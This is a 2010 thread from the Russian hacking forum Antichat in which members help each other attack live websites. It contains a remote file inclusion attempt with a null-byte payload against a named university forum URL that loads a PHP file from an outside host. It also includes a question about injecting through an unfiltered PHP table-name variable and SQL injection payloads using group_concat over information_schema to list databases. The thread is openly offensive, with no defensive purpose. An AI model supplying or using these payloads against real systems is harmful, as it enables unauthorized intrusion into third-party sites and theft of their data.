ANTICHAT.XYZ    VIDEO.ANTICHAT.XYZ    НОВЫЕ СООБЩЕНИЯ    ФОРУМ  
Баннер 1   Баннер 2
Antichat снова доступен.
Форум Antichat (Античат) возвращается и снова открыт для пользователей. Здесь обсуждаются безопасность, программирование, технологии и многое другое. Сообщество снова собирается вместе.
Новый адрес: forum.antichat.xyz
Вернуться   Форум АНТИЧАТ > Безопасность и Уязвимости > Уязвимости
   
Ответ
 
Опции темы Поиск в этой теме Опции просмотра

  #13391  
Старый 24.05.2010, 17:47
Аватар для PunkAss
PunkAss
Новичок
Регистрация: 19.01.2008
Сообщений: 9
Провел на форуме:
38435

Репутация: 5
Отправить сообщение для PunkAss с помощью ICQ
По умолчанию

Можно что-то придумать для такого запроса? $table никак не фильтруется.

Код:
$sql = "REPAIR TABLE {$table}";
 
Ответить с цитированием

  #13392  
Старый 24.05.2010, 22:34
Аватар для jecka3000
jecka3000
Постоянный
Регистрация: 15.03.2008
Сообщений: 441
Провел на форуме:
2052341

Репутация: 95
По умолчанию

не могу никак заинклудить (мож его тут и нет...хз)
пробовал и с нулевым байтом и с ? и с расширением и без него...хз в чем дело
http://forum.hse.ru/gold/index.php?t=usrinfo&id=http://site.ru/99.php%00

если тут нет инклуда, то мб что то другое?
 
Ответить с цитированием

  #13393  
Старый 24.05.2010, 22:35
Аватар для Konqi
Konqi
Постоянный
Регистрация: 24.06.2009
Сообщений: 542
Провел на форуме:
2101094

Репутация: 672


Отправить сообщение для Konqi с помощью ICQ
По умолчанию

Цитата:
Сообщение от jecka3000  
не могу никак заинклудить (мож его тут и нет...хз)
пробовал и с нулевым байтом и с ? и с расширением и без него...хз в чем дело
http://forum.hse.ru/gold/index.php?t=usrinfo&id=http://site.ru/99.php%00

если тут нет инклуда, то мб что то другое?
инклуд в параметре id? nea
 
Ответить с цитированием

  #13394  
Старый 24.05.2010, 22:36
Аватар для Pashkela
Pashkela
Динозавр
Регистрация: 10.01.2008
Сообщений: 2,841
Провел на форуме:
9220514

Репутация: 3338


Отправить сообщение для Pashkela с помощью ICQ
По умолчанию

Код:
http://forum.hse.ru/gold/index.php?t=usrinfo&id=1
и? Еще не надоело писать то, что и без вашего участия уже с такой же ошибкой (читай - кривые руки админа)?

PS: Для начала найдите сайт, которые сразу, без вас, не вываливает мильон ошибок по какой-то ссылке

Последний раз редактировалось Pashkela; 24.05.2010 в 22:39..
 
Ответить с цитированием

  #13395  
Старый 24.05.2010, 22:41
Аватар для jecka3000
jecka3000
Постоянный
Регистрация: 15.03.2008
Сообщений: 441
Провел на форуме:
2052341

Репутация: 95
По умолчанию

Konqi,Pashkela

то что и без меня есть ошибки я заметил=)
мне интересно могу ли я влиять на бд каким либо образом?
 
Ответить с цитированием

  #13396  
Старый 24.05.2010, 22:45
Аватар для Konqi
Konqi
Постоянный
Регистрация: 24.06.2009
Сообщений: 542
Провел на форуме:
2101094

Репутация: 672


Отправить сообщение для Konqi с помощью ICQ
По умолчанию

Цитата:
Сообщение от jecka3000  
Konqi,Pashkela

то что и без меня есть ошибки я заметил=)
мне интересно могу ли я влиять на бд каким либо образом?
тебе нужно бд или инклуд?

инклуд никак не связано с базой
 
Ответить с цитированием

  #13397  
Старый 24.05.2010, 22:45
Аватар для Pashkela
Pashkela
Динозавр
Регистрация: 10.01.2008
Сообщений: 2,841
Провел на форуме:
9220514

Репутация: 3338


Отправить сообщение для Pashkela с помощью ICQ
По умолчанию

Цитата:
то что и без меня есть ошибки я заметил=)
а теперь подумай
 
Ответить с цитированием

  #13398  
Старый 25.05.2010, 15:55
Аватар для jecka3000
jecka3000
Постоянный
Регистрация: 15.03.2008
Сообщений: 441
Провел на форуме:
2052341

Репутация: 95
По умолчанию

Как выести ВСЕ базы данных, кроме текущей?
Работаю с 5 веткой)
 
Ответить с цитированием

  #13399  
Старый 25.05.2010, 15:57
Аватар для Konqi
Konqi
Постоянный
Регистрация: 24.06.2009
Сообщений: 542
Провел на форуме:
2101094

Репутация: 672


Отправить сообщение для Konqi с помощью ICQ
По умолчанию

Цитата:
Сообщение от jecka3000  
Как выести ВСЕ базы данных, кроме текущей?
Работаю с 5 веткой)
select+group_concat(table_schema)+from+information _schema.tables
 
Ответить с цитированием

  #13400  
Старый 25.05.2010, 16:28
Аватар для mr.celt
mr.celt
Участник форума
Регистрация: 06.02.2008
Сообщений: 110
Провел на форуме:
217423

Репутация: 32
По умолчанию

Konqi:
или
select+group_concat(schema_name)+from+information_ schema.schemata
 
Ответить с цитированием
Ответ



Похожие темы
Тема Автор Раздел Ответов Последнее сообщение
Ваши ламерские приколы (Ну когда только комп появился) PEPSICOLA Болталка 188 23.05.2010 10:05
Ваши любимые компьютерные игры PEPSICOLA Болталка 280 19.08.2009 00:01
Ваши телеги... F-IFTY Болталка 13 18.08.2009 18:22
Вопросы по Ipb 2.0 Voodoo_People Форумы 26 15.02.2005 22:57



Здесь присутствуют: 1 (пользователей: 0 , гостей: 1)
 


Быстрый переход




ANTICHAT.XYZ